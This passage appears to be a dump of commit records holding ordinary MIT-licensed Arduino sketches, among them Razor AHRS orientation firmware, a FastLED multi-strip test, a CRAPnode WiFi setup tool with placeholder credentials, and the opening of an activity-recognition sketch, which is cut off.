= {0, 0, 0};\nfloat magn_ellipsoid_transform[3][3] = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}};\n\n\/\/ Gyroscope\n\/\/ \"gyro x,y,z (current\/average) = ...\/OFFSET_X ...\/OFFSET_Y ...\/OFFSET_Z\nfloat GYRO_AVERAGE_OFFSET_X = 43.7;\nfloat GYRO_AVERAGE_OFFSET_Y = 4.37;\nfloat GYRO_AVERAGE_OFFSET_Z = 13.57;\n\n\n\/\/ DEBUG OPTIONS\n\/*****************************************************************\/\n\/\/ When set to true, gyro drift correction will not be applied\n#define DEBUG__NO_DRIFT_CORRECTION false\n\/\/ Print elapsed time after each I\/O loop\n#define DEBUG__PRINT_LOOP_TIME false\n\n\n\/*****************************************************************\/\n\/****************** END OF USER SETUP AREA! *********************\/\n\/*****************************************************************\/\n\n\n\n\n\n\n\n\n\n\n\/\/ Check if hardware version code is defined\n#ifndef HW__VERSION_CODE\n \/\/ Generate compile error\n #error YOU HAVE TO SELECT THE HARDWARE YOU ARE USING! See \"HARDWARE OPTIONS\" in \"USER SETUP AREA\" at top of Razor_AHRS.ino!\n#endif\n\n#include <Wire.h>\n\n#define GRAVITY 256.0f \/\/ \"1G reference\" used for DCM filter and accelerometer calibration\n\n\/\/ Sensor calibration scale and offset values\nfloat ACCEL_X_OFFSET = ((ACCEL_X_MIN + ACCEL_X_MAX) \/ 2.0f);\nfloat ACCEL_Y_OFFSET = ((ACCEL_Y_MIN + ACCEL_Y_MAX) \/ 2.0f);\nfloat ACCEL_Z_OFFSET = ((ACCEL_Z_MIN + ACCEL_Z_MAX) \/ 2.0f);\nfloat ACCEL_X_SCALE = (GRAVITY \/ (ACCEL_X_MAX - ACCEL_X_OFFSET));\nfloat ACCEL_Y_SCALE = (GRAVITY \/ (ACCEL_Y_MAX - ACCEL_Y_OFFSET));\nfloat ACCEL_Z_SCALE = (GRAVITY \/ (ACCEL_Z_MAX - ACCEL_Z_OFFSET));\n\nfloat MAGN_X_OFFSET = ((MAGN_X_MIN + MAGN_X_MAX) \/ 2.0f);\nfloat MAGN_Y_OFFSET = ((MAGN_Y_MIN + MAGN_Y_MAX) \/ 2.0f);\nfloat MAGN_Z_OFFSET = ((MAGN_Z_MIN + MAGN_Z_MAX) \/ 2.0f);\nfloat MAGN_X_SCALE = (100.0f \/ (MAGN_X_MAX - MAGN_X_OFFSET));\nfloat MAGN_Y_SCALE = (100.0f \/ (MAGN_Y_MAX - MAGN_Y_OFFSET));\nfloat MAGN_Z_SCALE = (100.0f \/ (MAGN_Z_MAX - MAGN_Z_OFFSET));\n\n\n\/\/ Gain for gyroscope (ITG-3200)\n#define GYRO_GAIN 0.06957 \/\/ Same gain on all axes\n#define GYRO_SCALED_RAD(x) (x * TO_RAD(GYRO_GAIN)) \/\/ Calculate the scaled gyro readings in radians per second\n\n\/\/ DCM parameters\n#define Kp_ROLLPITCH 0.02f\n#define Ki_ROLLPITCH 0.00002f\n#define Kp_YAW 1.2f\n#define Ki_YAW 0.00002f\n\n\/\/ Stuff\n#define STATUS_LED_PIN 13 \/\/ Pin number of status LED\n#define TO_RAD(x) (x * 0.01745329252) \/\/ *pi\/180\n#define TO_DEG(x) (x * 57.2957795131) \/\/ *180\/pi\n\n\/\/ Sensor variables\nfloat accel[3]; \/\/ Actually stores the NEGATED acceleration (equals gravity, if board not moving).\nfloat accel_min[3];\nfloat accel_max[3];\n\nfloat magnetom[3];\nfloat magnetom_min[3];\nfloat magnetom_max[3];\nfloat magnetom_tmp[3];\n\nfloat gyro[3];\nfloat gyro_average[3];\nint gyro_num_samples = 0;\n\n\/\/ DCM variables\nfloat MAG_Heading;\nfloat Accel_Vector[3]= {0, 0, 0}; \/\/ Store the acceleration in a vector\nfloat Gyro_Vector[3]= {0, 0, 0}; \/\/ Store the gyros turn rate in a vector\nfloat Omega_Vector[3]= {0, 0, 0}; \/\/ Corrected Gyro_Vector data\nfloat Omega_P[3]= {0, 0, 0}; \/\/ Omega Proportional correction\nfloat Omega_I[3]= {0, 0, 0}; \/\/ Omega Integrator\nfloat Omega[3]= {0, 0, 0};\nfloat errorRollPitch[3] = {0, 0, 0};\nfloat errorYaw[3] = {0, 0, 0};\nfloat DCM_Matrix[3][3] = {{1, 0, 0}, {0, 1, 0}, {0, 0, 1}};\nfloat Update_Matrix[3][3] = {{0, 1, 2}, {3, 4, 5}, {6, 7, 8}};\nfloat Temporary_Matrix[3][3] = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}};\n\n\/\/ Euler angles\nfloat yaw;\nfloat pitch;\nfloat roll;\n\n\/\/ DCM timing in the main loop\nunsigned long timestamp;\nunsigned long timestamp_old;\nfloat G_Dt; \/\/ Integration time for DCM algorithm\n\n\/\/ More output-state variables\nboolean output_stream_on;\nboolean output_single_on;\nint curr_calibration_sensor = 0;\nboolean reset_calibration_session_flag = true;\nint num_accel_errors = 0;\nint num_magn_errors = 0;\nint num_gyro_errors = 0;\n\nvoid read_sensors() {\n Read_Gyro(); \/\/ Read gyroscope\n Read_Accel(); \/\/ Read accelerometer\n Read_Magn(); \/\/ Read magnetometer\n}\n\n\/\/should be called after every #ca calibration command\nvoid recalculateAccelCalibration(){\n ACCEL_X_OFFSET = ((ACCEL_X_MIN + ACCEL_X_MAX) \/ 2.0f);\n ACCEL_Y_OFFSET = ((ACCEL_Y_MIN + ACCEL_Y_MAX) \/ 2.0f);\n ACCEL_Z_OFFSET = ((ACCEL_Z_MIN + ACCEL_Z_MAX) \/ 2.0f);\n ACCEL_X_SCALE = (GRAVITY \/ (ACCEL_X_MAX - ACCEL_X_OFFSET));\n ACCEL_Y_SCALE = (GRAVITY \/ (ACCEL_Y_MAX - ACCEL_Y_OFFSET));\n ACCEL_Z_SCALE = (GRAVITY \/ (ACCEL_Z_MAX - ACCEL_Z_OFFSET));\n}\n\n\/\/should be called after every #cm calibration command\nvoid recalculateMagnCalibration(){\n MAGN_X_OFFSET = ((MAGN_X_MIN + MAGN_X_MAX) \/ 2.0f);\n MAGN_Y_OFFSET = ((MAGN_Y_MIN + MAGN_Y_MAX) \/ 2.0f);\n MAGN_Z_OFFSET = ((MAGN_Z_MIN + MAGN_Z_MAX) \/ 2.0f);\n MAGN_X_SCALE = (100.0f \/ (MAGN_X_MAX - MAGN_X_OFFSET));\n MAGN_Y_SCALE = (100.0f \/ (MAGN_Y_MAX - MAGN_Y_OFFSET));\n MAGN_Z_SCALE = (100.0f \/ (MAGN_Z_MAX - MAGN_Z_OFFSET));\n}\n\n\/\/ Read every sensor and record a time stamp\n\/\/ Init DCM with unfiltered orientation\n\/\/ TODO re-init global vars?\nvoid reset_sensor_fusion() {\n float temp1[3];\n float temp2[3];\n float xAxis[] = {1.0f, 0.0f, 0.0f};\n\n read_sensors();\n timestamp = millis();\n \n \/\/ GET PITCH\n \/\/ Using y-z-plane-component\/x-component of gravity vector\n pitch = -atan2(accel[0], sqrt(accel[1] * accel[1] + accel[2] * accel[2]));\n\t\n \/\/ GET ROLL\n \/\/ Compensate pitch of gravity vector \n Vector_Cross_Product(temp1, accel, xAxis);\n Vector_Cross_Product(temp2, xAxis, temp1);\n \/\/ Normally using x-z-plane-component\/y-component of compensated gravity vector\n \/\/ roll = atan2(temp2[1], sqrt(temp2[0] * temp2[0] + temp2[2] * temp2[2]));\n \/\/ Since we compensated for pitch, x-z-plane-component equals z-component:\n roll = atan2(temp2[1], temp2[2]);\n \n \/\/ GET YAW\n Compass_Heading();\n yaw = MAG_Heading;\n \n \/\/ Init rotation matrix\n init_rotation_matrix(DCM_Matrix, yaw, pitch, roll);\n}\n\n\/\/ Apply calibration to raw sensor readings\nvoid compensate_sensor_errors() {\n \/\/ Compensate accelerometer error\n accel[0] = (accel[0] - ACCEL_X_OFFSET) * ACCEL_X_SCALE;\n accel[1] = (accel[1] - ACCEL_Y_OFFSET) * ACCEL_Y_SCALE;\n accel[2] = (accel[2] - ACCEL_Z_OFFSET) * ACCEL_Z_SCALE;\n \n \/\/ Compensate magnetometer error\n if (CALIBRATION__MAGN_USE_EXTENDED){\n for (int i = 0; i < 3; i++)\n magnetom_tmp[i] = magnetom[i] - magn_ellipsoid_center[i];\n Matrix_Vector_Multiply(magn_ellipsoid_transform, magnetom_tmp, magnetom);\n }else{\n magnetom[0] = (magnetom[0] - MAGN_X_OFFSET) * MAGN_X_SCALE;\n magnetom[1] = (magnetom[1] - MAGN_Y_OFFSET) * MAGN_Y_SCALE;\n magnetom[2] = (magnetom[2] - MAGN_Z_OFFSET) * MAGN_Z_SCALE;\n }\n \n \/\/ Compensate gyroscope error\n gyro[0] -= GYRO_AVERAGE_OFFSET_X;\n gyro[1] -= GYRO_AVERAGE_OFFSET_Y;\n gyro[2] -= GYRO_AVERAGE_OFFSET_Z;\n}\n\n\/\/ Reset calibration session if reset_calibration_session_flag is set\nvoid check_reset_calibration_session()\n{\n \/\/ Raw sensor values have to be read already, but no error compensation applied\n\n \/\/ Reset this calibration session?\n if (!reset_calibration_session_flag) return;\n \n \/\/ Reset acc and mag calibration variables\n for (int i = 0; i < 3; i++) {\n accel_min[i] = accel_max[i] = accel[i];\n magnetom_min[i] = magnetom_max[i] = magnetom[i];\n }\n\n \/\/ Reset gyro calibration variables\n gyro_num_samples = 0; \/\/ Reset gyro calibration averaging\n gyro_average[0] = gyro_average[1] = gyro_average[2] = 0.0f;\n \n reset_calibration_session_flag = false;\n}\n\nvoid turn_output_stream_on()\n{\n output_stream_on = true;\n digitalWrite(STATUS_LED_PIN, HIGH);\n}\n\nvoid turn_output_stream_off()\n{\n output_stream_on = false;\n digitalWrite(STATUS_LED_PIN, LOW);\n}\n\n\/\/ Blocks until another byte is available on serial port\nchar readChar()\n{\n while (Serial.available() < 1) { } \/\/ Block\n return Serial.read();\n}\n\nvoid setup()\n{\n \/\/ Init serial output\n Serial.begin(OUTPUT__BAUD_RATE);\n \n \/\/ Init status LED\n pinMode (STATUS_LED_PIN, OUTPUT);\n digitalWrite(STATUS_LED_PIN, LOW);\n\n \/\/ Init sensors\n delay(50); \/\/ Give sensors enough time to start\n I2C_Init();\n Accel_Init();\n Magn_Init();\n Gyro_Init();\n \n \/\/ Read sensors, init DCM algorithm\n delay(20); \/\/ Give sensors enough time to collect data\n reset_sensor_fusion();\n\n \/\/ Init output\n#if (OUTPUT__HAS_RN_BLUETOOTH == true) || (OUTPUT__STARTUP_STREAM_ON == false)\n turn_output_stream_off();\n#else\n turn_output_stream_on();\n#endif\n}\n\n\/\/ Main loop\nvoid loop()\n{\n \/\/ Read incoming control messages\n if (Serial.available() >= 2)\n {\n if (Serial.read() == '#') \/\/ Start of new control message\n {\n int command = Serial.read(); \/\/ Commands\n if (command == 'f') \/\/ request one output _f_rame\n output_single_on = true;\n else if (command == 's') \/\/ _s_ynch request\n {\n \/\/ Read ID\n byte id[2];\n id[0] = readChar();\n id[1] = readChar();\n \n \/\/ Reply with synch message\n Serial.print(\"#SYNCH\");\n Serial.write(id, 2);\n Serial.println();\n }\n else if (command == 'o') \/\/ Set _o_utput mode\n {\n char output_param = readChar();\n if (output_param == 'n') \/\/ Calibrate _n_ext sensor\n {\n curr_calibration_sensor = (curr_calibration_sensor + 1) % 3;\n reset_calibration_session_flag = true;\n }\n else if (output_param == 't') \/\/ Output angles as _t_ext\n {\n output_mode = OUTPUT__MODE_ANGLES;\n output_format = OUTPUT__FORMAT_TEXT;\n }\n else if (output_param == 'b') \/\/ Output angles in _b_inary format\n {\n output_mode = OUTPUT__MODE_ANGLES;\n output_format = OUTPUT__FORMAT_BINARY;\n }\n else if (output_param == 'c') \/\/ Go to _c_alibration mode\n {\n output_mode = OUTPUT__MODE_CALIBRATE_SENSORS;\n reset_calibration_session_flag = true;\n }\n else if (output_param == 'x') \/\/ Go to _c_alibration mode for both sensor and angle comment: Tang\n {\n output_mode = OUTPUT__MODE_ANGLES_AG_SENSORS;\n reset_calibration_session_flag = true;\n }\n else if (output_param == 's') \/\/ Output _s_ensor values\n {\n char values_param = readChar();\n char format_param = readChar();\n if (values_param == 'r') \/\/ Output _r_aw sensor values\n output_mode = OUTPUT__MODE_SENSORS_RAW;\n else if (values_param == 'c') \/\/ Output _c_alibrated sensor values\n output_mode = OUTPUT__MODE_SENSORS_CALIB;\n else if (values_param == 'b') \/\/ Output _b_oth sensor values (raw and calibrated)\n output_mode = OUTPUT__MODE_SENSORS_BOTH;\n\n if (format_param == 't') \/\/ Output values as _t_text\n output_format = OUTPUT__FORMAT_TEXT;\n else if (format_param == 'b') \/\/ Output values in _b_inary format\n output_format = OUTPUT__FORMAT_BINARY;\n }\n else if (output_param == '0') \/\/ Disable continuous streaming output\n {\n turn_output_stream_off();\n reset_calibration_session_flag = true;\n }\n else if (output_param == '1') \/\/ Enable continuous streaming output\n {\n reset_calibration_session_flag = true;\n turn_output_stream_on();\n }\n else if (output_param == 'e') \/\/ _e_rror output settings\n {\n char error_param = readChar();\n if (error_param == '0') output_errors = false;\n else if (error_param == '1') output_errors = true;\n else if (error_param == 'c') \/\/ get error count\n {\n Serial.print(\"#AMG-ERR:\");\n Serial.print(num_accel_errors); Serial.print(\",\");\n Serial.print(num_magn_errors); Serial.print(\",\");\n Serial.println(num_gyro_errors);\n }\n }\n }\n else if (command == 'p') \/\/ Set _p_rint calibration values\n {\n Serial.print(\"ACCEL_X_MIN:\");Serial.println(ACCEL_X_MIN);\n Serial.print(\"ACCEL_X_MAX:\");Serial.println(ACCEL_X_MAX);\n Serial.print(\"ACCEL_Y_MIN:\");Serial.println(ACCEL_Y_MIN);\n Serial.print(\"ACCEL_Y_MAX:\");Serial.println(ACCEL_Y_MAX);\n Serial.print(\"ACCEL_Z_MIN:\");Serial.println(ACCEL_Z_MIN);\n Serial.print(\"ACCEL_Z_MAX:\");Serial.println(ACCEL_Z_MAX);\n Serial.println(\"\"); \n Serial.print(\"MAGN_X_MIN:\");Serial.println(MAGN_X_MIN);\n Serial.print(\"MAGN_X_MAX:\");Serial.println(MAGN_X_MAX);\n Serial.print(\"MAGN_Y_MIN:\");Serial.println(MAGN_Y_MIN);\n Serial.print(\"MAGN_Y_MAX:\");Serial.println(MAGN_Y_MAX);\n Serial.print(\"MAGN_Z_MIN:\");Serial.println(MAGN_Z_MIN);\n Serial.print(\"MAGN_Z_MAX:\");Serial.println(MAGN_Z_MAX);\n Serial.println(\"\");\n Serial.print(\"MAGN_USE_EXTENDED:\");\n if (CALIBRATION__MAGN_USE_EXTENDED) \n Serial.println(\"true\");\n else\n Serial.println(\"false\");\n Serial.print(\"magn_ellipsoid_center:[\");Serial.print(magn_ellipsoid_center[0],4);Serial.print(\",\");\n Serial.print(magn_ellipsoid_center[1],4);Serial.print(\",\");\n Serial.print(magn_ellipsoid_center[2],4);Serial.println(\"]\");\n Serial.print(\"magn_ellipsoid_transform:[\");\n for(int i = 0; i < 3; i++){\n Serial.print(\"[\");\n for(int j = 0; j < 3; j++){\n Serial.print(magn_ellipsoid_transform[i][j],7);\n if (j < 2) Serial.print(\",\");\n }\n Serial.print(\"]\");\n if (i < 2) Serial.print(\",\");\n }\n Serial.println(\"]\");\n Serial.println(\"\"); \n Serial.print(\"GYRO_AVERAGE_OFFSET_X:\");Serial.println(GYRO_AVERAGE_OFFSET_X);\n Serial.print(\"GYRO_AVERAGE_OFFSET_Y:\");Serial.println(GYRO_AVERAGE_OFFSET_Y);\n Serial.print(\"GYRO_AVERAGE_OFFSET_Z:\");Serial.println(GYRO_AVERAGE_OFFSET_Z);\n }\n else if (command == 'c') \/\/ Set _i_nput mode\n {\n char input_param = readChar();\n if (input_param == 'a') \/\/ Calibrate _a_ccelerometer\n {\n char axis_param = readChar();\n char type_param = readChar();\n float value_param = Serial.parseFloat();\n if (axis_param == 'x') \/\/ x value\n {\n if (type_param == 'm')\n ACCEL_X_MIN = value_param;\n else if (type_param == 'M')\n ACCEL_X_MAX = value_param;\n }\n else if (axis_param == 'y') \/\/ y value\n {\n if (type_param == 'm')\n ACCEL_Y_MIN = value_param;\n else if (type_param == 'M')\n ACCEL_Y_MAX = value_param;\n }\n else if (axis_param == 'z') \/\/ z value\n {\n if (type_param == 'm')\n ACCEL_Z_MIN = value_param;\n else if (type_param == 'M')\n ACCEL_Z_MAX = value_param;\n }\n recalculateAccelCalibration();\n }\n else if (input_param == 'm') \/\/ Calibrate _m_agnetometer (basic)\n {\n \/\/disable extended magnetometer calibration\n CALIBRATION__MAGN_USE_EXTENDED = false;\n char axis_param = readChar();\n char type_param = readChar();\n float value_param = Serial.parseFloat();\n if (axis_param == 'x') \/\/ x value\n {\n if (type_param == 'm')\n MAGN_X_MIN = value_param;\n else if (type_param == 'M')\n MAGN_X_MAX = value_param;\n }\n else if (axis_param == 'y') \/\/ y value\n {\n if (type_param == 'm')\n MAGN_Y_MIN = value_param;\n else if (type_param == 'M')\n MAGN_Y_MAX = value_param;\n }\n else if (axis_param == 'z') \/\/ z value\n {\n if (type_param == 'm')\n MAGN_Z_MIN = value_param;\n else if (type_param == 'M')\n MAGN_Z_MAX = value_param;\n }\n recalculateMagnCalibration();\n }\n else if (input_param == 'c') \/\/ Calibrate magnetometerellipsoid_c_enter (extended)\n {\n \/\/enable extended magnetometer calibration\n CALIBRATION__MAGN_USE_EXTENDED = true;\n char axis_param = readChar();\n float value_param = Serial.parseFloat();\n if (axis_param == 'x') \/\/ x value\n magn_ellipsoid_center[0] = value_param;\n else if (axis_param == 'y') \/\/ y value\n magn_ellipsoid_center[1] = value_param;\n else if (axis_param == 'z') \/\/ z value\n magn_ellipsoid_center[2] = value_param;\n }\n else if (input_param == 't') \/\/ Calibrate magnetometerellipsoid_t_ransform (extended)\n {\n \/\/enable extended magnetometer calibration\n CALIBRATION__MAGN_USE_EXTENDED = true;\n char axis_param = readChar();\n char type_param = readChar();\n float value_param = Serial.parseFloat();\n if (axis_param == 'x') \/\/ x value\n {\n if (type_param == 'X')\n magn_ellipsoid_transform[0][0] = value_param;\n else if (type_param == 'Y')\n magn_ellipsoid_transform[0][1] = value_param;\n else if (type_param == 'Z')\n magn_ellipsoid_transform[0][2] = value_param;\n }\n else if (axis_param == 'y') \/\/ y value\n {\n if (type_param == 'X')\n magn_ellipsoid_transform[1][0] = value_param;\n else if (type_param == 'Y')\n magn_ellipsoid_transform[1][1] = value_param;\n else if (type_param == 'Z')\n magn_ellipsoid_transform[1][2] = value_param;\n }\n else if (axis_param == 'z') \/\/ z value\n {\n if (type_param == 'X')\n magn_ellipsoid_transform[2][0] = value_param;\n else if (type_param == 'Y')\n magn_ellipsoid_transform[2][1] = value_param;\n else if (type_param == 'Z')\n magn_ellipsoid_transform[2][2] = value_param;\n }\n }\n else if (input_param == 'g') \/\/ Calibrate _g_yro \n {\n char axis_param = readChar();\n float value_param = Serial.parseFloat();\n if (axis_param == 'x') \/\/ x value\n GYRO_AVERAGE_OFFSET_X = value_param;\n else if (axis_param == 'y') \/\/ y value\n GYRO_AVERAGE_OFFSET_Y = value_param;\n else if (axis_param == 'z') \/\/ z value\n GYRO_AVERAGE_OFFSET_Z = value_param;\n }\n }\n#if OUTPUT__HAS_RN_BLUETOOTH == true\n \/\/ Read messages from bluetooth module\n \/\/ For this to work, the connect\/disconnect message prefix of the module has to be set to \"#\".\n else if (command == 'C') \/\/ Bluetooth \"#CONNECT\" message (does the same as \"#o1\")\n turn_output_stream_on();\n else if (command == 'D') \/\/ Bluetooth \"#DISCONNECT\" message (does the same as \"#o0\")\n turn_output_stream_off();\n#endif \/\/ OUTPUT__HAS_RN_BLUETOOTH == true\n }\n else\n { } \/\/ Skip character\n }\n\n \/\/ Time to read the sensors again?\n if((millis() - timestamp) >= OUTPUT__DATA_INTERVAL)\n {\n timestamp_old = timestamp;\n timestamp = millis();\n if (timestamp > timestamp_old)\n G_Dt = (float) (timestamp - timestamp_old) \/ 1000.0f; \/\/ Real time of loop run. We use this on the DCM algorithm (gyro integration time)\n else G_Dt = 0;\n\n \/\/ Update sensor readings\n read_sensors();\n\n if (output_mode == OUTPUT__MODE_CALIBRATE_SENSORS) \/\/ We're in calibration mode\n {\n check_reset_calibration_session(); \/\/ Check if this session needs a reset\n if (output_stream_on || output_single_on) output_calibration(curr_calibration_sensor);\n }\n else if (output_mode == OUTPUT__MODE_ANGLES) \/\/ Output angles\n {\n \/\/ Apply sensor calibration\n compensate_sensor_errors();\n \n \/\/ Run DCM algorithm\n Compass_Heading(); \/\/ Calculate magnetic heading\n Matrix_update();\n Normalize();\n Drift_correction();\n Euler_angles();\n \n if (output_stream_on || output_single_on) output_angles();\n }\n else if (output_mode == OUTPUT__MODE_ANGLES_AG_SENSORS) \/\/ Output angles + accel + rot. vel\n {\n \/\/ Apply sensor calibration\n compensate_sensor_errors();\n \n \/\/ Run DCM algorithm\n Compass_Heading(); \/\/ Calculate magnetic heading\n Matrix_update();\n Normalize();\n Drift_correction();\n Euler_angles();\n \n if (output_stream_on || output_single_on) output_both_angles_and_sensors_text();\n }\n else \/\/ Output sensor values\n { \n if (output_stream_on || output_single_on) output_sensors();\n }\n \n output_single_on = false;\n \n#if DEBUG__PRINT_LOOP_TIME == true\n Serial.print(\"loop time (ms) = \");\n Serial.println(millis() - timestamp);\n#endif\n }\n#if DEBUG__PRINT_LOOP_TIME == true\n else\n {\n Serial.println(\"waiting...\");\n }\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Razor_AHRS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5eb86db640d5a6f09a7397f0aec6e33873498136","subject":"Create test_ArrayOfLedArrays.ino","message":"Create test_ArrayOfLedArrays.ino","repos":"marmilicious\/FastLED_examples","old_file":"test_ArrayOfLedArrays.ino","new_file":"test_ArrayOfLedArrays.ino","new_contents":"\/\/ ArrayOfLedArrays with strips of different length test\n\/\/ Marc Miller, Apr 2016\n\/\/---------------------------------------------------------------\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL\n#define NUM_STRIPS 3 \/\/ Total number of strips\n\n#define NUM_LEDS 12 \/\/ Specify length of each strip\n#define NUM_LEDS1 32\n#define NUM_LEDS2 30\n\/\/etc.\n\nCRGB leds[NUM_STRIPS][NUM_LEDS + NUM_LEDS1 + NUM_LEDS2]; \/\/ Add all together here\n\nuint8_t stripLength; \/\/ Used to store a strip length.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000);\n FastLED.addLeds<LED_TYPE, 6>(leds[0], NUM_LEDS); \/\/ Assign data pins\n FastLED.addLeds<LED_TYPE, 11>(leds[1], NUM_LEDS1);\n FastLED.addLeds<LED_TYPE, 13>(leds[2], NUM_LEDS2);\n \/\/etc.\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n for(uint8_t x = 0; x < NUM_STRIPS; x++) {\n stripLength = getStripLength(x);\n fill_rainbow( leds[x], stripLength, millis()\/3, 256\/stripLength );\n }\n FastLED.show();\n delay(3000);\n\n for(uint8_t x = 0; x < NUM_STRIPS; x++) {\n stripLength = getStripLength(x);\n uint8_t randomColor = random8();\n fill_solid(leds[x], stripLength, CHSV(randomColor,255,255));\n }\n FastLED.show();\n delay(2000);\n\n FastLED.clear(); \/\/ Clear all data\n FastLED.show();\n delay(1000);\n\n}\/\/end main loop\n\n\n\/\/-----function to return strip length-----\nuint8_t getStripLength(uint8_t stripNumber){\n uint8_t L;\n if (stripNumber == 0) { L = NUM_LEDS; }\n if (stripNumber == 1) { L = NUM_LEDS1; }\n if (stripNumber == 2) { L = NUM_LEDS2; }\n \/\/etc.\n\n \/\/Serial.print(\"stripNumber \");\n \/\/Serial.print(stripNumber);\n \/\/Serial.print(\" = \");\n \/\/Serial.println(L);\n return L;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_ArrayOfLedArrays.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e95978c6787d849305a2ac6d8f9e60c9e8ec33b1","subject":"Added CRAPnode-setup","message":"Added CRAPnode-setup\n","repos":"CRAPproject\/CRAPnode-firmware","old_file":"CRAPnode_Setup.ino","new_file":"CRAPnode_Setup.ino","new_contents":"\/\/\n\/\/ CRAPnode setup tool\n\/\/\n\/\/\n\/\/\n\/\/\n\/\/ Instructions:\n\/\/ 1. Enter your WiFi SSID and password below.\n\/\/ 2. Upload the sketch to the CRAPnode.\n\/\/ 3. Ground GPIO0 on the ESP8266 module (short bare pads under the ISP connector)\n\/\/ 4. Update the ESP8266 module using this guide (files are in this folder): http:\/\/www.xess.com\/blog\/esp8266-reflash\/\n\/\/ Note that you must swap the RX and TX lines of the serial module.\n\/\/ 5. Unground GPIO0. Uncomment the line below this one.\n#define TESTMODE\n\/\/ 6. Upload to the CRAPnode again and wait for green (pass) LED.\n\/\/ If the LED is red, the test has failed.\n\/\/ Check your router to see if the CRAPnode has connected.\n\/\/ The test is likely to fail if there is no battery.\n\/\/\n\n\n#define SSID \"xxx\"\n#define PASS \"12345678\"\n\n\n\n\n\n\n#include <Wire.h>\n#include \"RTClib.h\"\n#include <SoftwareSerial.h>\n\nRTC_DS1307 rtc;\n\nboolean passFailState = 0; \/\/ 0 is pass, 1 is fail\n\n#if defined(TESTMODE)\n\nvoid setup () {\n Serial.begin(115200);\n pinMode(A3, OUTPUT);\n digitalWrite(A3, HIGH);\n ledTest();\n \/\/if (rtcTest()) if (!passFailState) passFailState = 1;\n if (wifiTest()) if (!passFailState) passFailState = 1;\n delay(100);\n if (passFailState) digitalWrite(2, HIGH);\n else digitalWrite(8, HIGH);\n}\n\nvoid loop() {\n}\n\nvoid ledTest() {\n pinMode(2, OUTPUT);\n pinMode(8, OUTPUT);\n for (byte i = 0; i < 20; i++) {\n digitalWrite(2, HIGH);\n digitalWrite(8, LOW);\n delay(50);\n digitalWrite(2, LOW);\n digitalWrite(8, HIGH);\n delay(50);\n digitalWrite(8, LOW);\n }\n}\n\nbyte rtcTest() {\n Wire.begin();\n rtc.begin();\n rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n delay(5000);\n DateTime now = rtc.now();\n if (now.second() == 5) return 0;\n else return 1;\n}\n\nbyte wifiTest() {\n serialFlush();\n Serial.println(\"AT+RST\");\n delay(1000);\n if (Serial.find(\"ready\")) {\n String cmd = \"AT+CWJAP=\\\"\";\n cmd += SSID;\n cmd += \"\\\",\\\"\";\n cmd += PASS;\n cmd += \"\\\"\";\n Serial.println(cmd);\n return 0;\n }\n else return 1;\n}\n\nvoid serialFlush() {\n while (Serial.available() > 0) {\n char t = Serial.read();\n }\n}\n\n#else\n\n\/\/ Sets the serial port pins to high impedance and enable the ESP module.\n\nvoid setup () {\n pinMode(A3, OUTPUT);\n pinMode(0, INPUT);\n pinMode(1, INPUT);\n digitalWrite(A3, HIGH);\n}\n\nvoid loop() {\n}\n\n#endif\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CRAPnode_Setup.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"090b5b26ea93a45295840c73d9d2518414c2fbb2","subject":"added arduino sketch to transmit activity code","message":"added arduino sketch to transmit activity code\n","repos":"ghorbanzade\/sloth,ghorbanzade\/sloth,ghorbanzade\/sloth,ghorbanzade\/sloth,ghorbanzade\/sloth,ghorbanzade\/sloth","old_file":"src\/ard\/posture\/posture.ino","new_file":"src\/ard\/posture\/posture.ino","new_contents":"\/\/\n\/\/ Sloth: An Energy-Efficient Activity Recognition System\n\/\/ Copyright 2016 Pejman Ghorbanzade <mail@ghorbanzade.com>\n\/\/ Released under the terms of MIT License\n\/\/ https:\/\/github.com\/ghorbanzade\/sloth\/blob\/master\/LICENSE\n\/\/\n\n\/**\n * This program simply reads sensor data from MPU-6050 module,\n * converts the acceleratiton data to the number assigned to a\n * region of the recognition sphere the acceleration data points\n * to and transmits the region number via zigbee module.\n *\n * A sample packet has the form: |3|16|\n *\/\n\n#define MY 3 \/\/ Identifier for each sensor board\n#define INTERVAL 5000 \/\/ Sampling Time in (ms)\n#define THETA_REGIONS 8 \/\/ Number of sphere segments in zenith direction\n#define MATH_PI 3.14159 \/\/ Number PI\n#define MSG_LEN 128 \/\/ maximum length of the message to be transmitted\n#define MPU 0x68 \/\/ I2C address of the MPU-6050\n\/\/ function to convert nibble to hex character\n#define TO_HEX(i) (i <= 9 ? '0' + i : 'A' - 10 + i)\n\n#include <Wire.h>\n\n\/**\n * a recognition model structure holds the total number of regions that\n *\/\nstruct recognition_model\n{\n\tuint16_t num_region;\n\tint *prsm;\n\tint *aprm;\n};\n\n\/**\n * accelerations are read in three x, y, z orientations.\n *\/\nenum acc\n{\n\tACC_X,\n\tACC_Y,\n\tACC_Z,\n\tACC_COUNT\n};\n\n\/**\n * global variables include the recognition model\n *\/\nstruct recognition_model model;\n\n\/**\n * this function will initialize the recognition model with information\n * that will be used to quickly infer the sphere region based on obtained\n * acceleration data.\n *\n * @param model the object whose members should be initialized\n * @return zero for success and non-zero for failure\n *\/\nint init_model(struct recognition_model *model)\n{\n\tdouble trsm[THETA_REGIONS + 1];\n\tdouble strm[THETA_REGIONS];\n\tmodel->prsm = (int*) calloc(THETA_REGIONS, sizeof(int));\n\tmodel->aprm = (int*) calloc(THETA_REGIONS, sizeof(int));\n\tif (model->prsm == NULL)\n\t\treturn EXIT_FAILURE;\n\tif (model->aprm == NULL)\n\t\treturn EXIT_FAILURE;\n\tfor (int i = 0; i < THETA_REGIONS + 1; i++)\n\t\ttrsm[i] = i * MATH_PI \/ THETA_REGIONS;\n\tfor (int i = 0; i < THETA_REGIONS; i++) {\n\t\tstrm[i] = cos(trsm[i]) - cos(trsm[i + 1]);\n\t\tmodel->prsm[i] = round(strm[i] \/ 